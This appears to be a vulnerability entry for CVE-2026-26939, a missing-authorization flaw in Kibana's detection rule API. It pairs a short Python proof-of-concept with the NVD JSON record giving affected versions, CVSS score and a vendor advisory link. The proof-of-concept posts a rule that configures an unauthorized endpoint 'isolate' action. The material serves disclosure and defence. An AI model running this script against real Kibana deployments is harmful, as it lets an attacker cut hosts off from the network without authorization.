CVE-2026-26939

import requests # CVE-2026-26939 PoC Concept # Target: Kibana Detection Rule Management API # Requires: Authenticated session with rule management privileges target_url = "https://<kibana-host>:5601/api/detection_engine/rules" headers = { "kbn-xsrf": "true", "Content-Type": "application/json", "Authorization": "Bearer <valid_token>" } # Payload exploiting missing authorization for response actions malicious_payload = { "name": "Exploit Rule", "description": "Testing CVE-2026-26939", "risk_score": 99, "severity": "critical", "type": "query", "language": "kuery", "query": "*:*", "response_actions": [{ "action_type_id": ".endpoint", "params": { "command": "isolate" # Unauthorized isolation command } }] } r = requests.post(target_url, json=malicious_payload, headers=headers, verify=False) if r.status_code == 200: print("[+] Exploit successful: Endpoint action configured.") else: print(f"[-] Failed: {r.status_code}")

{"cve": {"id": "CVE-2026-26939", "sourceIdentifier": "[email protected]", "published": "2026-03-19T18:16:21.690", "lastModified": "2026-03-23T13:36:57.857", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization (CWE-862) in Kibana’s server-side Detection Rule Management can lead to Unauthorized Endpoint Response Action Configuration (host isolation, process termination, and process suspension) via CAPEC-1 (Accessing Functionality Not Properly Constrained by ACLs). This requires an authenticated attacker with rule management privileges."}, {"lang": "es", "value": "Autorización Faltante (CWE-862) en la Gestión de Reglas de Detección del lado del servidor de Kibana puede llevar a la Configuración de Acciones de Respuesta de Punto Final No Autorizada (aislamiento de host, terminación de proceso y suspensión de proceso) a través de CAPEC-1 (Acceso a Funcionalidad No Restringida Adecuadamente por ACLs). Esto requiere un atacante autenticado con privilegios de gestión de reglas."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.19.12", "matchCriteriaId": "E939FB01-9CDD-4A24-B5E9-6F7A8C984917"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.2.6", "matchCriteriaId": "F14ACA8C-46A2-42EF-9F63-AEF657C6736A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:9.3.0:*:*:*:*:*:*:*", "matchCriteriaId": "6E90DE12-A5EC-4C3C-A86E-BF5AA0778628"}]}]}], "references": [{"url": "https://discuss.elastic.co/t/kibana-8-19-12-9-2-6-9-3-1-security-update-esa-2026-19/385530", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}